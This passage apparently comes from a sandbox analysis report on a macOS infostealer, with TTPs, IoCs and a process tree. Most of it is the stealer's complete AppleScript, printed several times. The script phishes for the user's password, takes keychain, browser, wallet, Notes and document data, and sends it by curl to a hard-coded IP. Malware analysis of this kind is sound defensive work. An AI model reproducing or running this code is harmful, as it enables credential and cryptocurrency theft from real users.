\"userinfo\") end try end userinfo on deskwallets(writemind, deskwals) repeat with deskwal in deskwals try GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal) end try end repeat end deskwallets on filegrabber() try set destinationFolderPath to POSIX file \"/var/tmp/xuyna/FileGrabber/\" mkdir(destinationFolderPath) set extensionsList to {\"txt\", \"rtf\", \"key\", \"keys\", \"png\", \"jpg\", \"jpeg\", \"wallet\", \"doc\", \"docx\"} set bankSize to 0 tell application \"Finder\" set username to short user name of (system info) try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" try set notesFolder to folder notesFolderPath set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder repeat with aFile in notesFiles try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try end repeat end try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set fileSize to size of aFile if (bankSize + fileSize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on send_data(writemind,uuid, userme) do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /var/tmp/out.zip\" do shell script (\"curl -X POST -H \\\"uuid: \" & uuid & \"\\\" -H \\\"user: \" & userme & \"\\\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p\") do shell script \"rm -r \" & writemind do shell script \"rm /var/tmp/out.zip\" end send_data set username to (system attribute \"USER\") set userme to \"october\" set uuid to \"a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" set profile to \"/Users/\" & username set writemind to \"/var/tmp/xuyna/\" set library to profile & \"/Library/Application Support/\" set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"},{\"Brave\", library & \"BraveSoftware/Brave-Browser/\"},{\"Edge\", library & \"Microsoft Edge/\"},{\"Vivaldi\", library & \"Vivaldi/\"},{\"Opera\", library & \"com.operasoftware.Opera/\"},{\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}} set walletMap to {{\"deskwallets/Electrum\", profile & \"/.electrum/wallets/\"},{\"deskwallets/Coinomi\", library & \"Coinomi/wallets/\"},{\"deskwallets/Exodus\", library & \"Exodus/\"},{\"deskwallets/Atomic\", library & \"atomic/Local Storage/leveldb/\"}} set firefox to library & \"Firefox/Profiles/\" getpwd(username, writemind) readwrite(library & \"Binance/app-store.json\", writemind & \"deskwallets/Binance/app-store.json\") readwrite(profile & \"/Library/Keychains/login.keychain-db\", writemind &\"keychain\") writeText(username, writemind &\"username\") parseFF(firefox, writemind) chromium(writemind, chromiumMap) userinfo(writemind) deskwallets(writemind, walletMap) filegrabber() send_data(writemind,uuid,userme)" Process not Found system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType Process not Found - File Deletion 1 TTPs
- AppleScript 1 TTPs 6 IoCs
ioc Process osascript -e "tell application \"Terminal\" to close first window" Process not Found sh -c "osascript -e 'tell application \"Terminal\" to close first window'& exit" Process not Found osascript -e "tell application \"Terminal\" to close first window" Process not Found sh -c "osascript -e 'tell application \"Terminal\" to close first window'& exit" Process not Found osascript -e "tell application \"Terminal\" to close first window" Process not Found sh -c "osascript -e 'tell application \"Terminal\" to close first window'& exit" Process not Found - Resource Forking 1 TTPs 7 IoCs
ioc Process /System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper Process not Found /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper Process not Found /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper Process not Found /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper Process not Found /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper Process not Found /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper Process not Found /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper Process not Found
Processes
-
/bin/shsh -c "sudo /bin/zsh -c \"/Users/run/Application/AppleApp\""1⤵PID:539
-
/bin/bashsh -c "sudo /bin/zsh -c \"/Users/run/Application/AppleApp\""1⤵PID:539
-
/usr/bin/sudosudo /bin/zsh -c /Users/run/Application/AppleApp1⤵PID:539
-
/bin/zsh/bin/zsh -c /Users/run/Application/AppleApp2⤵PID:540
-
-
/Users/run/Application/AppleApp/Users/run/Application/AppleApp2⤵PID:540
-
-
/bin/shsh -c "osascript -e 'tell application \"Terminal\" to close first window'& exit"1⤵PID:542
-
/bin/bashsh -c "osascript -e 'tell application \"Terminal\" to close first window'& exit"1⤵PID:542
-
/usr/bin/osascriptosascript -e "tell application \"Terminal\" to close first window"2⤵PID:543
-
-
/bin/shsh -c "osascript -e 'on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on FileName(filePath) try set reversedPath to (reverse of every character of filePath) as string set trimmedPath to text 1 thru ((offset of \"/\" in reversedPath) - 1) of reversedPath set finalPath to (reverse of every character of trimmedPath) as string return finalPath end try end FileName on BeforeFileName(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try end BeforeFileName on writeText(textToWrite, filePath) try set folderPath to BeforeFileName(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set folderPath to BeforeFileName(path_as_save) set fileContent to read path_to_file mkdir(folderPath) set fileRef to (open for access path_as_save with write permission) write fileContent to fileRef starting at eof close access fileRef end try end readwrite on isDirectory(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if return false end try end isDirectory on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on parseFF(firefox, writemind) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} set fileList to list folder firefox without invisibles repeat with currentItem in fileList set fpath to writemind & \"ff/\" & currentItem set readpath to firefox & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end parseFF on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on getpwd(username, writemind) repeat try set result to display dialog \"Required Helper. Please enter password for \" & username & \".\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then writeText(password_entered, writemind & \"pwd\") exit repeat end if end try end repeat end getpwd on grabPlugins(paths, savepath, pluginList) try set fileList to list folder paths without invisibles repeat with PFile in fileList if (pluginList contains PFile) then set newpath to paths & PFile set newsavepath to savepath & \"/\" & PFile GrabFolder(newpath, newsavepath) end if end repeat end try end grabPlugins on chromium(writemind,chromium_map) set pluginList to {\"ffnbelfdoeiohenkjibnmadjiehjhajb\",\"nlbmnnijcnlegkjjpcfjclmcfggfefdm\",\"nhnkbkgjikgcigadomkphalanndcapjk\",\"cgeeodpfagjceefieflmdfphplkenlfk\",\"cjmkndjhnagcfbpiemnkdpomccnjblmj\",\"cphhlgmgameodnhkjdmkpanlelnlohao\",\"dmkamcknogkgcdfhhbddcghachkejeap\",\"fnnegphlobjdpkhecapkijjdkgcjhkib\",\"acmacodkjbdgmoleebolmdjonilkdbch\",\"kncchdigobghenbbaddojjnnaogfppfj\",\"egjidjbpglichdcondbcbdnbeeppgdph\",\"hpglfhgfnhbgpjdenjgmdgoeiappafln\",\"cjelfplplebdjjenllpjcblmjkfcffne\",\"amkmjjmmflddogmhpjloimipbofnfjih\",\"fnjhmkhhmkbjkkabndcnnogagogbneec\",\"nphplpgoakhhjchkkhmiggakijnkhfnd\",\"pnndplcbkakcplkjnolgbkdgjikjednm\",\"flpiciilemghbmfalicajoolhkkenfel\",\"dkdedlpgdmmkkfjabffeganieamfklkm\",\"pdadjkfkgcafgbceimcpbkalnfnepbnk\",\"ppdadbejkmjnefldpcdjhnkpbjkikoip\",\"cnmamaachppnkjgnildpdmkaakejnhae\",\"opcgpfmipidbgpenhmajoajpbobppdil\",\"fhilaheimglignddkjgofkcbgekhenbh\",\"dhgnlgphgchebgoemcjekedjjbifijid\",\"nknhiehlklippafakaeklbeglecifhad\",\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\",\"loinekcabhlmhjjbocijdoimmejangoa\",\"pocmplpaccanhmnllbbkpgfliimjljgo\",\"afbcbjpbpfadlkmhmclhkeeodmamcflc\",\"cihmoadaighcejopammfbmddcmdekcje\",\"aeachknmefphepccionboohckonoeemg\",\"dlcobpjiigpikoobohmabehhmhfoodbb\",\"fhbohimaelbohpjbbldcngcnapndodjp\",\"imloifkgjagghnncjkhggdhalmcnfklk\",\"efbglgofoippbgcjepnhiblaibcnclgk\",\"ejjladinnckdgjemekebdpeokbikhfci\",\"nkbihfbeogaeaoehlefnkodbefgpgknn\",\"bocpokimicclpaiekenaeelehdjllofo\",\"hnhobjmcibchnmglfbldbfabcgaknlkj\",\"ibnejdfjmmkpcnlpebklmnkoeoihofec\",\"kpfopkelmapcoipemfendmdcghnegimn\",\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\",\"lodccjjbdhfakaekdiahmedfbieldgik\",\"ppbibelpcjmhbdihakflkdcoccbgbkpo\",\"jnlgamecbpmbajjfhmmmlhejkemejdma\",\"mfhbebgoclkghebffdldpobeajmbecfk\",\"apnehcjmnengpnmccpaibjmhhoadaico\",\"cmndjbecilbocjfkibfbifhngkdmjgog\",\"hcflpincpppdclinealmandijcmnkbgn\",\"klnaejjgbibmhlephnhpmaofohgkpgkd\",\"copjnifcecdedocejpaapepagaodgpbh\",\"jojhfeoedkpkglbfimdfabpdfjaoolaf\",\"bfnaelmomeimhlpmgjnjophhpkkoljpa\",\"ebfidpplhabeedpnhjnobghokpiioolj\",\"aiifbnbfobpmeekipheeijimdpnlpgpp\",\"mnfifefkajgofkcjkemidiaecocnkjeh\",\"bcopgchhojmggmffilplmbdicgaihlkp\",\"ojggmchlghnjlapmfbnjholfjkiidbch\",\"hnfanknocfeofbddgcijnmhnfnkdnaad\",\"ookjlbkiijinhpmnjffcofjonbfbgaoc\",\"aholpfdialjgjfhomihkjbmgjidlcdno\",\"hifafgmccdpekplomjjkcfgodnhcellj\",\"phkbamefinggmakgklpkljjmgibohnba\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\"} repeat with Chromium in chromium_map set savepath to writemind & \"Chromium/\" & item 1 of Chromium & \"_\" try set fileList to list folder item 2 of Chromium without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of Chromium & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath,savepath & currentItem,pluginList) else set writepath to savepath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on userinfo(writemind) try set result to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result, writemind & \"userinfo\") end try end userinfo on deskwallets(writemind, deskwals) repeat with deskwal in deskwals try GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal) end try end repeat end deskwallets on filegrabber() try set destinationFolderPath to POSIX file \"/var/tmp/xuyna/FileGrabber/\" mkdir(destinationFolderPath) set extensionsList to {\"txt\", \"rtf\", \"key\", \"keys\", \"png\", \"jpg\", \"jpeg\", \"wallet\", \"doc\", \"docx\"} set bankSize to 0 tell application \"Finder\" set username to short user name of (system info) try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" try set notesFolder to folder notesFolderPath set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder repeat with aFile in notesFiles try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try end repeat end try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set fileSize to size of aFile if (bankSize + fileSize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on send_data(writemind,uuid, userme) do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /var/tmp/out.zip\" do shell script (\"curl -X POST -H \\\"uuid: \" & uuid & \"\\\" -H \\\"user: \" & userme & \"\\\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p\") do shell script \"rm -r \" & writemind do shell script \"rm /var/tmp/out.zip\" end send_data set username to (system attribute \"USER\") set userme to \"october\" set uuid to \"a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" set profile to \"/Users/\" & username set writemind to \"/var/tmp/xuyna/\" set library to profile & \"/Library/Application Support/\" set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"},{\"Brave\", library & \"BraveSoftware/Brave-Browser/\"},{\"Edge\", library & \"Microsoft Edge/\"},{\"Vivaldi\", library & \"Vivaldi/\"},{\"Opera\", library & \"com.operasoftware.Opera/\"},{\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}} set walletMap to {{\"deskwallets/Electrum\", profile & \"/.electrum/wallets/\"},{\"deskwallets/Coinomi\", library & \"Coinomi/wallets/\"},{\"deskwallets/Exodus\", library & \"Exodus/\"},{\"deskwallets/Atomic\", library & \"atomic/Local Storage/leveldb/\"}} set firefox to library & \"Firefox/Profiles/\" getpwd(username, writemind) readwrite(library & \"Binance/app-store.json\", writemind & \"deskwallets/Binance/app-store.json\") readwrite(profile & \"/Library/Keychains/login.keychain-db\", writemind &\"keychain\") writeText(username, writemind &\"username\") parseFF(firefox, writemind) chromium(writemind, chromiumMap) userinfo(writemind) deskwallets(writemind, walletMap) filegrabber() send_data(writemind,uuid,userme)'"1⤵PID:544
-
/bin/bashsh -c "osascript -e 'on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on FileName(filePath) try set reversedPath to (reverse of every character of filePath) as string set trimmedPath to text 1 thru ((offset of \"/\" in reversedPath) - 1) of reversedPath set finalPath to (reverse of every character of trimmedPath) as string return finalPath end try end FileName on BeforeFileName(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try end BeforeFileName on writeText(textToWrite, filePath) try set folderPath to BeforeFileName(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set folderPath to BeforeFileName(path_as_save) set fileContent to read path_to_file mkdir(folderPath) set fileRef to (open for access path_as_save with write permission) write fileContent to fileRef starting at eof close access fileRef end try end readwrite on isDirectory(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if return false end try end isDirectory on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on parseFF(firefox, writemind) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} set fileList to list folder firefox without invisibles repeat with currentItem in fileList set fpath to writemind & \"ff/\" & currentItem set readpath to firefox & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end parseFF on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on getpwd(username, writemind) repeat try set result to display dialog \"Required Helper. Please enter password for \" & username & \".\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then writeText(password_entered, writemind & \"pwd\") exit repeat end if end try end repeat end getpwd on grabPlugins(paths, savepath, pluginList) try set fileList to list folder paths without invisibles repeat with PFile in fileList if (pluginList contains PFile) then set newpath to paths & PFile set newsavepath to savepath & \"/\" & PFile GrabFolder(newpath, newsavepath) end if end repeat end try end grabPlugins on chromium(writemind,chromium_map) set pluginList to {\"ffnbelfdoeiohenkjibnmadjiehjhajb\",\"nlbmnnijcnlegkjjpcfjclmcfggfefdm\",\"nhnkbkgjikgcigadomkphalanndcapjk\",\"cgeeodpfagjceefieflmdfphplkenlfk\",\"cjmkndjhnagcfbpiemnkdpomccnjblmj\",\"cphhlgmgameodnhkjdmkpanlelnlohao\",\"dmkamcknogkgcdfhhbddcghachkejeap\",\"fnnegphlobjdpkhecapkijjdkgcjhkib\",\"acmacodkjbdgmoleebolmdjonilkdbch\",\"kncchdigobghenbbaddojjnnaogfppfj\",\"egjidjbpglichdcondbcbdnbeeppgdph\",\"hpglfhgfnhbgpjdenjgmdgoeiappafln\",\"cjelfplplebdjjenllpjcblmjkfcffne\",\"amkmjjmmflddogmhpjloimipbofnfjih\",\"fnjhmkhhmkbjkkabndcnnogagogbneec\",\"nphplpgoakhhjchkkhmiggakijnkhfnd\",\"pnndplcbkakcplkjnolgbkdgjikjednm\",\"flpiciilemghbmfalicajoolhkkenfel\",\"dkdedlpgdmmkkfjabffeganieamfklkm\",\"pdadjkfkgcafgbceimcpbkalnfnepbnk\",\"ppdadbejkmjnefldpcdjhnkpbjkikoip\",\"cnmamaachppnkjgnildpdmkaakejnhae\",\"opcgpfmipidbgpenhmajoajpbobppdil\",\"fhilaheimglignddkjgofkcbgekhenbh\",\"dhgnlgphgchebgoemcjekedjjbifijid\",\"nknhiehlklippafakaeklbeglecifhad\",\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\",\"loinekcabhlmhjjbocijdoimmejangoa\",\"pocmplpaccanhmnllbbkpgfliimjljgo\",\"afbcbjpbpfadlkmhmclhkeeodmamcflc\",\"cihmoadaighcejopammfbmddcmdekcje\",\"aeachknmefphepccionboohckonoeemg\",\"dlcobpjiigpikoobohmabehhmhfoodbb\",\"fhbohimaelbohpjbbldcngcnapndodjp\",\"imloifkgjagghnncjkhggdhalmcnfklk\",\"efbglgofoippbgcjepnhiblaibcnclgk\",\"ejjladinnckdgjemekebdpeokbikhfci\",\"nkbihfbeogaeaoehlefnkodbefgpgknn\",\"bocpokimicclpaiekenaeelehdjllofo\",\"hnhobjmcibchnmglfbldbfabcgaknlkj\",\"ibnejdfjmmkpcnlpebklmnkoeoihofec\",\"kpfopkelmapcoipemfendmdcghnegimn\",\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\",\"lodccjjbdhfakaekdiahmedfbieldgik\",\"ppbibelpcjmhbdihakflkdcoccbgbkpo\",\"jnlgamecbpmbajjfhmmmlhejkemejdma\",\"mfhbebgoclkghebffdldpobeajmbecfk\",\"apnehcjmnengpnmccpaibjmhhoadaico\",\"cmndjbecilbocjfkibfbifhngkdmjgog\",\"hcflpincpppdclinealmandijcmnkbgn\",\"klnaejjgbibmhlephnhpmaofohgkpgkd\",\"copjnifcecdedocejpaapepagaodgpbh\",\"jojhfeoedkpkglbfimdfabpdfjaoolaf\",\"bfnaelmomeimhlpmgjnjophhpkkoljpa\",\"ebfidpplhabeedpnhjnobghokpiioolj\",\"aiifbnbfobpmeekipheeijimdpnlpgpp\",\"mnfifefkajgofkcjkemidiaecocnkjeh\",\"bcopgchhojmggmffilplmbdicgaihlkp\",\"ojggmchlghnjlapmfbnjholfjkiidbch\",\"hnfanknocfeofbddgcijnmhnfnkdnaad\",\"ookjlbkiijinhpmnjffcofjonbfbgaoc\",\"aholpfdialjgjfhomihkjbmgjidlcdno\",\"hifafgmccdpekplomjjkcfgodnhcellj\",\"phkbamefinggmakgklpkljjmgibohnba\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\"} repeat with Chromium in chromium_map set savepath to writemind & \"Chromium/\" & item 1 of Chromium & \"_\" try set fileList to list folder item 2 of Chromium without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of Chromium & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath,savepath & currentItem,pluginList) else set writepath to savepath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on userinfo(writemind) try set result to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result, writemind & \"userinfo\") end try end userinfo on deskwallets(writemind, deskwals) repeat with deskwal in deskwals try GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal) end try end repeat end deskwallets on filegrabber() try set destinationFolderPath to POSIX file \"/var/tmp/xuyna/FileGrabber/\" mkdir(destinationFolderPath) set extensionsList to {\"txt\", \"rtf\", \"key\", \"keys\", \"png\", \"jpg\", \"jpeg\", \"wallet\", \"doc\", \"docx\"} set bankSize to 0 tell application \"Finder\" set username to short user name of (system info) try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" try set notesFolder to folder notesFolderPath set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder repeat with aFile in notesFiles try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try end repeat end try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set fileSize to size of aFile if (bankSize + fileSize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on send_data(writemind,uuid, userme) do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /var/tmp/out.zip\" do shell script (\"curl -X POST -H \\\"uuid: \" & uuid & \"\\\" -H \\\"user: \" & userme & \"\\\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p\") do shell script \"rm -r \" & writemind do shell script \"rm /var/tmp/out.zip\" end send_data set username to (system attribute \"USER\") set userme to \"october\" set uuid to \"a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" set profile to \"/Users/\" & username set writemind to \"/var/tmp/xuyna/\" set library to profile & \"/Library/Application Support/\" set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"},{\"Brave\", library & \"BraveSoftware/Brave-Browser/\"},{\"Edge\", library & \"Microsoft Edge/\"},{\"Vivaldi\", library & \"Vivaldi/\"},{\"Opera\", library & \"com.operasoftware.Opera/\"},{\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}} set walletMap to {{\"deskwallets/Electrum\", profile & \"/.electrum/wallets/\"},{\"deskwallets/Coinomi\", library & \"Coinomi/wallets/\"},{\"deskwallets/Exodus\", library & \"Exodus/\"},{\"deskwallets/Atomic\", library & \"atomic/Local Storage/leveldb/\"}} set firefox to library & \"Firefox/Profiles/\" getpwd(username, writemind) readwrite(library & \"Binance/app-store.json\", writemind & \"deskwallets/Binance/app-store.json\") readwrite(profile & \"/Library/Keychains/login.keychain-db\", writemind &\"keychain\") writeText(username, writemind &\"username\") parseFF(firefox, writemind) chromium(writemind, chromiumMap) userinfo(writemind) deskwallets(writemind, walletMap) filegrabber() send_data(writemind,uuid,userme)'"1⤵PID:544
-
/usr/bin/osascriptosascript -e "on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on FileName(filePath) try set reversedPath to (reverse of every character of filePath) as string set trimmedPath to text 1 thru ((offset of \"/\" in reversedPath) - 1) of reversedPath set finalPath to (reverse of every character of trimmedPath) as string return finalPath end try end FileName on BeforeFileName(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try end BeforeFileName on writeText(textToWrite, filePath) try set folderPath to BeforeFileName(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set folderPath to BeforeFileName(path_as_save) set fileContent to read path_to_file mkdir(folderPath) set fileRef to (open for access path_as_save with write permission) write fileContent to fileRef starting at eof close access fileRef end try end readwrite on isDirectory(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if return false end try end isDirectory on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on parseFF(firefox, writemind) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} set fileList to list folder firefox without invisibles repeat with currentItem in fileList set fpath to writemind & \"ff/\" & currentItem set readpath to firefox & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end parseFF on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on getpwd(username, writemind) repeat try set result to display dialog \"Required Helper. Please enter password for \" & username & \".\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then writeText(password_entered, writemind & \"pwd\") exit repeat end if end try end repeat end getpwd on grabPlugins(paths, savepath, pluginList) try set fileList to list folder paths without invisibles repeat with PFile in fileList if (pluginList contains PFile) then set newpath to paths & PFile set newsavepath to savepath & \"/\" & PFile GrabFolder(newpath, newsavepath) end if end repeat end try end grabPlugins on chromium(writemind,chromium_map) set pluginList to 